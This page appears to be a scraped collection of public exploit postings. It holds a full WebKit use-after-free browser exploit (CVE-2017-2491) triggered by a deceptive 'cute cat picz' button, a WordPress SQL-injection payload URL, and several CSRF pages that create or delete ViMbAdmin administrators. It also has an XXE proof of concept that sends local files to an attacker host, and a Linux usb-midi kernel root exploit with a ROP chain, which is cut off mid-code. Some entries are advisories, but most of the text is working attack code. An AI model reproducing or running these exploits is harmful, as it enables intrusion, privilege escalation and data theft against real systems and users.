<!--
Sources:
https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf
https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html
Overview
The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS.
-->
<script>
function make_compiled_function() {
function target(x) {
return x*5 + x - x*x;
}
// Call only once so that function gets compiled with low level interpreter
// but none of the optimizing JITs
target(0);
return target;
}
function pwn() {
var haxs = new Array(0x100);
for (var i = 0; i < 0x100; ++i)
haxs[i] = new Uint8Array(0x100);
// hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100,
// which is the butterfly length if hax is later used as a butterfly for a
// fake JSArray.
var hax = haxs[0x80];
var hax2 = haxs[0x81];
var target_func = make_compiled_function();
// Small helper to avoid allocations with .set(), so we don't mess up the heap
function set(p, i, a,b,c,d,e,f,g,h) {
p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
}
function spray() {
var res = new Uint8Array(0x7ffff000);
for (var i = 0; i < 0x7ffff000; i += 0x1000) {
// Write heap pattern.
// We only need a structure pointer every 128 bytes, but also some of
// structure fields need to be != 0 and I can't remember which, so we just
// write pointers everywhere.
for (var j = 0; j < 0x1000; j += 8)
set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);
// Write the offset to the beginning of each page so we know later
// with which part we overlap.
var j = i+1+2*8;
set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff);
}
return res;
}
// Spray ~14 GiB worth of array buffers with our pattern.
var x = [
spray(), spray(), spray(), spray(),
spray(), spray(), spray(), spray(),
];
// The butterfly of our fake object will point to 0x200000001. This will always
// be inside the second sprayed buffer.
var buf = x[1];
// A big array to hold reference to objects we don't want to be freed.
var ary = new Array(0x10000000);
var cnt = 0;
// Set up objects we need to trigger the bug.
var n = 0x40000;
var m = 10;
var regex = new RegExp("(ab)".repeat(n), "g");
var part = "ab".repeat(n);
var s = (part + "|").repeat(m);
// Set up some views to convert pointers to doubles
var convert = new ArrayBuffer(0x20);
var cu = new Uint8Array(convert);
var cf = new Float64Array(convert);
// Construct fake JSCell header
set(cu, 0,
0,0,0,0, // structure ID
8, // indexing type
0,0,0); // some more stuff we don't care about
var container = {
// Inline object with indebufng type 8 and butterly pointing to hax.
// Later we will refer to it as fakearray.
jsCellHeader: cf[0],
butterfly: hax,
};
while (1) {
// Try to trigger bug
s.replace(regex, function() {
for (var i = 1; i < arguments.length-2; ++i) {
if (typeof arguments[i] === 'string') {
// Root all the callback arguments to force GC at some point
ary[cnt++] = arguments[i];
continue;
}
var a = arguments[i];
// a.butterfly points to 0x200000001, which is always
// inside buf, but we are not sure what the exact
// offset is within it so we read a marker value.
var offset = a[2];
// Compute addrof(container) + 16. We write to the fake array, then
// read from a sprayed array buffer on the heap.
a[2] = container;
var addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + buf[offset + j];
// Add 16 to get address of inline object
addr += 16;
// Do the inverse to get fakeobj(addr)
for (var j = 0; j < 8; ++j) {
buf[offset + j] = addr & 0xff;
addr /= 0x100;
}
var fakearray = a[2];
// Re-write the vector pointer of hax to point to hax2.
fakearray[2] = hax2;
// At this point hax.vector points to hax2, so we can write
// the vector pointer of hax2 by writing to hax[16+{0..7}]
// Leak address of JSFunction
a[2] = target_func;
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + buf[offset + j];
// Follow a bunch of pointers to RWX location containing the
// function's compiled code
addr += 3*8;
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + hax2[j];
addr += 3*8;
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + hax2[j];
addr += 4*8;
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + hax2[j];
// Write shellcode
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
hax2[0] = 0xcc;
hax2[1] = 0xcc;
hax2[2] = 0xcc;
// Pwn.
target_func();
}
return "x";
});
}
}
</script>
<button onclick="pwn()">click here for cute cat picz!</button>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863153188
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://blogs.securiteam.com/index.php/archives/3171
Vulnerability Details
Jenkins is vulnerable to a Java deserialization vulnerability. In order to trigger the vulnerability two requests need to be sent.
The vulnerability can be found in the implementation of a bidirectional communication channel (over HTTP) which accepts commands.
The first request starts a session for the bi-directional channel and is used for “downloading” data from the server. The HTTP header “Session” is the identifier for the channel. The HTTP header “Side” specifies the “downloading/uploading” direction.
The second request is the sending component of the bidirectional channel. The first requests is blocked until the second request is sent. The request for a bidirectional channel is matched by the “Session” HTTP header which is just a UUID.
Proof of Concept
In order to exploit the vulnerability, an attacker needs to create a serialized payload with the command to execute by running the payload.jar script.
The second step is to change python script jenkins_poc1.py:
- Adjust target url in URL variable
- Change file to open in line “FILE_SER = open(“jenkins_poc1.ser”, “rb”).read()” to your payload file.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41965.zip
Source: http://www.defensecode.com/advisories/DC-2017-02-011_WordPress_WebDorado_Gallery_Plugin_Advisory.pdf
DefenseCode ThunderScan SAST Advisory
WordPress WebDorado Gallery Plugin - SQL Injection Vulnerability
Advisory ID: DC-2017-02-011
Software: WordPress WebDorado Gallery Plugin
Software Language: PHP
Version: 1.3.29 and below
Vendor Status: Vendor contacted, vulnerability confirmed
Release Date: 20170502
Risk: Medium
1. General Overview
During the security audit, multiple security vulnerabilities were discovered in WordPress
WebDorado Gallery Plugin using DefenseCode ThunderScan application source code security
analysis platform.
More information about ThunderScan is available at URL:
http://www.defensecode.com
2. Software Overview
According to the plugin developers, WebDorado, Gallery plugin is a fully responsive
WordPress gallery plugin with advanced functionality that is easy to customize and has
various views. It has more than 300,000 downloads on wordpress.org.
Homepage:
https://wordpress.org/plugins/photo-gallery/
https://web-dorado.com/products/wordpress-photo-gallery-plugin.html
http://www.defensecode.com/advisories/DC-2017-02-011_WordPress_WebDorado_Gallery_Plugin_Advisory.pdf
3. Vulnerability Description
During the security analysis, ThunderScan discovered SQL injection vulnerability in WebDorado
Gallery WordPress plugin. The easiest way to reproduce the vulnerability is to visit the provided
URL while being logged in as administrator or another user that is authorized to access the
plugin settings page. Any user with such privileges can obtain the valid bwg_nonce value by
previously visiting the settings page. Users that to do not have full administrative privileges
could abuse the database access the vulnerability provides to either escalate their privileges
or obtain and modify database contents they were not supposed to be able to.
3.1 SQL injection
Function: $wpdb->get_col($query)
Variable: $_GET['album_id']
Sample URL:
http://server/wp-admin/adminajax.php?action=addAlbumsGalleries&album_id=0%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5))
)VvZV)&width=700&height=550&bwg_items_per_page=20&bwg_nonce=b939983df9&TB_iframe=1
File: photo-gallery\admin\models\BWGModelAddAlbumsGalleries.php
26 $album_id = ((isset($_GET['album_id'])) ? esc_html(stripslashes($_GET['album_id'])) :
((isset($_POST['album_id'])) ? esc_html(stripslashes($_POST['album_id'])) : ''));
...
28 $page_nav = $this->model->page_nav($album_id);
File: photo-gallery\admin\views\BWGViewAddAlbumsGalleries.php
41 public function page_nav($album_id) {
...
44 $query = "SELECT id FROM " . $wpdb->prefix . "bwg_album WHERE published=1 AND id<>" .
$album_id . " " . $where . " UNION ALL SELECT id FROM " . $wpdb->prefix . "bwg_gallery WHERE
published=1 " . $where;
45 $total = count($wpdb->get_col($query));
4. Solution
Vendor resolved the security issues in one of the subsequent releases. All users are strongly
advised to update WordPress WebDorado Gallery plugin to the latest available version. Version
1.3.38 no longer seems to be vulnerable.
5. Credits
Discovered by Neven Biruski with DefenseCode ThunderScan source code security analyzer.
6. Disclosure Timeline
20170404 Vendor contacted
20170405 Vendor responded: “Thanks for noticing and told us about this, we will
take into account and will fix the issues with upcoming update.”
? Update released
20170502 Latest plugin version tested. Vulnerability seems fixed.
Advisory released to the public.
http://www.defensecode.com/advisories/DC-2017-02-011_WordPress_WebDorado_Gallery_Plugin_Advisory.pdf
7. About DefenseCode
DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop
and mobile applications for security vulnerabilities.
DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing)
solution for performing extensive security audits of application source code. ThunderScan
performs fast and accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.
DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing)
solution for comprehensive security audits of active web applications. WebScanner will test a
website's security by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.
Subscribe for free software trial on our website http://www.defensecode.com
E-mail: defensecode[at]defensecode.com
Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/
# [CVE-2017-6086] Multiple CSRF vulnerabilities in ViMbAdmin version 3.0.15
## Product Description
ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at http://www.vimbadmin.net and the source code of the application is available on github https://github.com/opensolutions.
## Details
**CVE ID**: CVE-2017-6086
**Access Vector**: remote
**Security Risk**: high
**Vulnerability**: CWE-352
**CVSS Base Score**: 8.8
**CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
## Proof of concept
### Add administrator user
#### Exploit
The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/add" method="POST" target="csrf-frame" >
<input type="text" name="user" value="target@email" >
<input type="text" name="password" value="newpassword" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.
### Remove administrator user
#### Exploit
The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/purge/aid/<administrator id>" method="GET" target="csrf-frame" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable code
The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.
### Change administrator password
#### Exploit
The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/password/aid/<administrator id>" method="POST" target="csrf-frame" >
<input type="text" name="password" value="newpassword" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable code
The vulnerable code is located in the `passwordAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.
### Add mailbox address
#### Exploit
The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/mailbox/add/did/<domain id>" method="POST" target="csrf-frame" >
<input type="text" name="local_part" value="<fakeemail>" >
<input type="text" name="domain" value="<domain id>" >
<input type="text" name="name" value="<fake name>" >
<input type="text" name="password" value="<password>" >
<input type="text" name="quota" value="0" >
<input type="text" name="alt_email" value="" >
<input type="text" name="cc_welcome_email" value="" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.
### Purge mailbox
#### Exploit
The following html/javascript code allows to remove a mailbox address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/mailbox/purge/mid/<mailbox id>" method="POST" target="csrf-frame" >
<input type="text" name="data" value="purge" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable code
The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.
### Archive mailbox
#### Exploit
The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.
```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/archive/add/mid/<mailbox id>" method="GET" target="csrf-frame" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/ArchiveController.php` file.
### Add alias address
#### Exploit
The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.
```html
curl 'http://<ip>/alias/add/did/<domain id>' --data 'local_part=<fake mailbox>&domain=<domain id>&goto%5B%5D=<redirection email address>'
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/alias/add/did/<domain id>" method="POST" target="csrf-frame" >
<input type="text" name="local_part" value="<fake mailbox>" >
<input type="text" name="domain" value="<domain id>" >
<input type="text" name="goto[]" value="<redirection email address>" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.
### Remove alias address
#### Exploit
The following html/javascript code allows the removal of a alias address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/alias/delete/alid/<alias id>" method="GET" target="csrf-frame" >
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
```
#### Vulnerable Code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.
## Affected version
* tested on version 3.0.15
## Timeline (dd/mm/yyyy)
* 22/01/2017 : Initial discovery.
* 16/02/2017 : First contact with opensolutions.io
* 16/02/2017 : Advisory sent.
* 24/02/2017 : Reply from the owner, acknowledging the report and planning to fix the vulnerabilities.
* 13/03/2017 : Sysdream Labs request for an update.
* 29/03/2017 : Second request for an update.
* 29/03/2017 : Reply from the owner stating that he has no time to fix the issues.
* 03/05/2017 : Full disclosure.
## Credits
* Florian NIVETTE, Sysdream (f.nivette -at- sysdream -dot- com)
# Exploit Title: Access and read and create vendor / API credentials in plaintext
# Date: 3/29/2017
# Exploit Author: Pesach Zirkind
# Vendor Homepage: https://personifycorp.com/
# Version: 7.5.2 - 7.6.1
# Tested on: Windows (all versions)
# CVE : CVE-2017-7312
# Category: webapps
1. Description
Any website visitor can access a page that allows viewing and creating any vendor accounts and their credentials including all applications that use Personify API's
It will show username, password and block(api password)
New accounts can be created, or, existing accounts can be used to spoof the origin of attacker.
Additionally, roles can be modified for existing vendors
2. Proof of Concept
Visit: http://site.com/Default.aspx?tabId=275
Click: Vendor Management on the left side
Click on the vendor you wish to edit
3. Solution:
The fix is available at Personify’s SFTP site (sftp.personifycorp.com) as Personify Patch – SSO-IMS-DNN-Permission.zip
[+] Exploit Title: Dive Assistant - Template Builder XXE Injection
[+] Date: 12-05-2017
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://www.blackwave.com/
[+] Software Link: http://www.diveassistant.com/Products/DiveAssistantDesktop/index.aspx
[+] Version: 8.0
[+] Tested on: Windows 7 SP1, Windows 10
[+] CVE: CVE-2017-8918
1. Vulnerability Description
Dive Assistant - Desktop Edition comes with a template builder .exe to create print templates. The templates are saved and uploaded as XML files which are vulnerable to XXE injection. Sending a crafted payload to a user, when opened in Dive Assistant - Template Builder, will return the content of any local files to a remote attacker.
2. Proof of Concept
a.) python -m SimpleHTTPServer 9999 (listening on attacker's IP and hosting payload.dtd)
b.) Hosted "payload.dtd"
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:9999?%file;'>">
%all;
c.) Exploited "template.xml"
<?xml version="1.0"?
<!DOCTYPE exploit [
<!ENTITY % file SYSTEM "C:\Windows\System.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:9999?%file;'>">
%dtd;]>
<exploit>&send;</exploit>
Source: https://xairy.github.io/blog/2016/cve-2016-2384
Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384
Source: https://www.youtube.com/watch?v=lfl1NJn1nvo
Exploit-DB Note: This requires physical access to the machine, as well as local access on the system.
- - -
This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).
The vulnerability can be exploited in two ways:
- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).
- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.
A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).
It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.
The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).
--- poc.c ---
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
// driver. Meant to be used in conjuction with a hardware usb emulator, which
// emulates a particular malicious usb device (a Facedancer21 for example).
//
// Andrey Konovalov <andreyknvl@gmail.com>
//
// Usage:
// // Edit source to set addresses of the kernel symbols and the ROP gadgets.
// $ gcc poc.c -masm=intel
// // Run N instances of the binary with the argument increasing from 0 to N,
// // where N is the number of cpus on your machine.
// $ ./a.out 0 & ./a.out 1 & ...
// [+] starting as: uid=1000, euid=1000
// [+] payload addr: 0x400b60
// [+] fake stack mmaped
// [+] plug in the usb device...
// // Now plug in the device a few times.
// // In one of the instances you will get (if the kernel doesn't crash):
// [+] got r00t: uid=0, euid=0
// # id
// uid=0(root) gid=0(root) groups=0(root)
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <assert.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <arpa/inet.h>
// You need to set these based on your kernel.
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
// is to boot your kernel and grep /proc/kallsyms for them.
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
// Note that all of the used gadgets must preserve the initial value of the rbp
// register, since this value is used later on to restore rsp.
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.
#define COMMIT_CREDS 0xffffffff810957e0L
#define PREPARE_KERNEL_CRED 0xffffffff81095ae0L
#define XCHG_EAX_ESP_RET 0xffffffff8100008aL
#define POP_RDI_RET 0xffffffff8118991dL
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
#define MOV_CR4_RDI_RET 0xffffffff8105b8f0L
#define POP_RCX_RET 0xffffffff810053bcL
#define JMP_RCX 0xffffffff81040a90L
#define CR4_DESIRED_VALUE 0x407f0
// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
// disables SMEP, restores rsp, obtains root, jumps back to the caller.
#define CHAIN_SAVE_EAX \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_eax; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define CHAIN_SET_CR4 \
*stack++ = POP_RDI_RET; \
*stack++ = CR4_DESIRED_VALUE; \
*stack++ = MOV_CR4_RDI_RET; \
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX; \
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
uint64_t saved_eax;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
jmp get_root \n\
" : : "m"(saved_eax) : );
}
void payload();
// Kernel structs.
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
#define MIDI_MAX_ENDPOINTS 2
struct snd_usb_midi {
uint8_t bullshit[240];
struct snd_usb_midi_endpoint {
uint64_t out; // struct snd_usb_midi_out_endpoint *
uint64_t in; // struct snd_usb_midi_in_endpoint *
} endpoints[MIDI_MAX_ENDPOINTS];
// More bullshit.
};
// Init buffer for overwriting a skbuff object.
struct ubuf_info ui;
void init_buffer(char* buffer) {
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192];
struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0];
int i;
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ui.callback = XCHG_EAX_ESP_RET;
// Prevents some crashes.
ssi->nr_frags = 0;
// Prevents some crashes.
ssi->frag_list = 0;
// Prevents some crashes.
for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) {
midi->endpoints[i].out = 0;
midi->endpoints[i].in = 0;
}
}
// Map a fake stack where the ROP payload resides.
void mmap_stack() {
uint64_t stack_addr;
int stack_offset;
uint64_t* stack;
int page_size;
page_size = getpagesize();
stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1);
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t *)((char *)stack + stack_offset);
CHAIN_SAVE_EAX;
CHAIN_SET_CR4;
CHAIN_JMP_PAYLOAD;
}
// Sending control messages.
int socket_open(int port) {
int sock;
struct sockaddr_in sa;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
return sock;
}
void socket_close(int sock) {
close(sock);
}
void socket_sendmmsg(int sock) {
struct mmsghdr msg[1];
struct iovec msg2;
int rv;
char buffer[512];
memset(&msg2, 0, sizeof(msg2));
msg2.iov_base = &buffer[0];
msg2.iov_len = 512;
memset(msg, 0, sizeof(msg));
msg[0].msg_hdr.msg_iov = &msg2;
msg[0].msg_hdr.msg_iovlen = 1;
memset(&buffer[0], 0xa1, 512);
struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0];
hdr->cmsg_len = 512;
hdr->cmsg_level = SOL_IP + 1;
init_buffer(&buffer[0]);
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 512;
rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
if (rv == -1) {
perror("[-] sendmmsg()");
exit(EXIT_FAILURE);
}
}
// Allocating and freeing skbuffs.
struct sockaddr_in server_si_self;
struct sockaddr_in client_si_other;
int init_server(int port) {
int sock;
int rv;
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
memset(&server_si_self, 0, sizeof(server_si_self));
server_si_self.sin_family = AF_INET;
server_si_self.sin_port = htons(port);
server_si_self.sin_addr.s_addr = htonl(INADDR_ANY);
rv = bind(sock, (struct sockaddr *)&server_si_self,
sizeof(server_si_self));
if (rv == -1) {
perror("[-] bind()");
exit(EXIT_FAILURE);
}
return sock;
}
int init_client(int port) {
int sock;
int rv;
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
memset(&client_si_other, 0, sizeof(client_si_other));
client_si_other.sin_family = AF_INET;
client_si_other.sin_port = htons(port);
rv = inet_aton("127.0.0.1", &client_si_other.sin_addr);
if (rv == 0) {
perror("[-] inet_aton()");
exit(EXIT_FAILURE);
}
return sock;
}
void client_send_message(int sock) {
int rv;
// Messages of 128 bytes result in 512 bytes skbuffs.
char sent_message[128] = { 0x10 };
rv = sendto(sock, &sent_message[0], 128, 0,
(struct sockaddr *)&client_si_other,
sizeof(client_si_other));
if (rv == -1) {
perror("[-] sendto()");
exit(EXIT_FAILURE);
}
}
void destroy_server(int sock) {
close(sock);
}
void destroy_client(int sock) {
close(sock);
}
// Checking root.
void exec_shell() {
char *args[] = {"/bin/sh", "-i", NULL};
execve("/bin/sh", args, NULL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
while (true) {
sleep(1);
}
}
bool is_root() {
return getuid() == 0;
}
void check_root() {
if (!is_root())
return;
printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid());
// Fork and exec instead of just doing the exec to avoid freeing skbuffs
// and prevent some crashes due to a allocator corruption.
fork_shell();
}
// Main.
#define PORT_BASE_1 4100
#define PORT_BASE_2 4200
#define PORT_BASE_3 4300
#define SKBUFFS_NUM 64
#define MMSGS_NUM 256
int server_sock;
int client_sock;
void step_begin(int id) {
int i;
server_sock = init_server(PORT_BASE_2 + id);
client_sock = init_client(PORT_BASE_2 + id);
for (i = 0; i < SKBUFFS_NUM; i++) {
client_send_message(client_sock);
}
for (i = 0; i < MMSGS_NUM; i++) {
int sock = socket_open(PORT_BASE_3 + id);
socket_sendmmsg(sock);
socket_close(sock);
}
}
void step_end(int id) {
destroy_server(server_sock);
destroy_client(client_sock);
}
void body(int id) {
int server_sock, client_sock, i;
server_sock = init_server(PORT_BASE_1 + id);
client_sock = init_client(PORT_BASE_1 + id);
for (i = 0; i < 512; i++)
